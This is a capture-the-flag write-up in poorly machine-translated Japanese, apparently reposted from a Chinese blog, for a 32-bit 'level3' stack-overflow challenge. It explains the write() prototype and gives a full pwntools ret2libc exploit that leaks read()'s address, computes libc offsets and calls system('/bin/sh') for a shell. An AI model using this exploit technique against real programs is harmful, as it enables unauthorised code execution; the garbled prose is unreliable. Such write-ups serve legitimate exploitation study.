レベル3

ソース犯罪と世界タイトルの防衛

トピックの知識:ret2libc

説明するための知識ポイント

ssize_tの書き込み(int型FD、CONST無効 * bufは、size_tの数);
パラメータ:
(。ある書き込みに対応する書き込み1):FDファイルディスクリプタである
BUF:通常の文字列、文字列が書き込まれます
数:書き込みあたりのバイト数

テキスト

件名に使用checksecは、スタックを開くには、次の手順は実行可能ではありませんがわかりました。

見つかったその後の分析では、プログラム・ロジックは単純です。単純なスタックオーバーフローポイント。

上記の分析によると、スタックを行うことができず、スタック上のデータは、そう与えるret2shellcode方法を。見つかった書き込み機能解析があります。あなたは、関数のアドレス漏れを使用することができます。ret2libcメソッドを使用します。次のようにアイデアがあります。

  • 1スタックオーバーフローを使用して、書き込み機能を実行し、読み出し機能アドレスを漏洩

  • 2つの計算はlibcの読み出し機能をオフセット

  • 主な機能に3つの戻り、システムの機能は、スタックオーバーフローを使用して実行しました

    from pwn import *
    sh = process('./level3') #sh = remote('111.198.29.45',49067) libc = ELF('./libc_32.so.6') elf = ELF('./level3') sh.recvuntil('Input:\n') payload = 'a' * 0x88 + 'bbbb' + p32(0x8048340) + p32(elf.sym['main']) + p32(1) + p32(elf.got['read']) + p32(4) sh.sendline(payload) read_addr = u32(sh.recv()[:4]) log.success('read_addr is: ' + hex(read_addr)) libc_base = read_addr - libc.symbols['read'] system_addr = libc_base + libc.symbols['system'] log.success('system_addr is: ' + hex(system_addr)) binsh_addr = libc_base + next(libc.search('/bin/sh')) log.success('str_addr: ' + hex(binsh_addr)) payload = 'a' * 0x88 + 'bbbb' + p32(system_addr) + 'cccc' + p32(binsh_addr) sh.recvuntil(':\n') sh.sendline(payload) sh.interactive() 

    トラブルシューティング

  • 機能を使用すると、それによってスタックに対応するパラメータを構築し、書き込み機能のプロトタイプを知っている必要があり、漏れの書き込み機能を使用しています。

  • 書き込み機能アドレス機能を使用してリークした後、再びため必要オーバーフローの、関数のメインアドレスに再び戻る必要があるシステムの機能を実行します。

おすすめ

転載: www.cnblogs.com/0x1633/p/12160324.html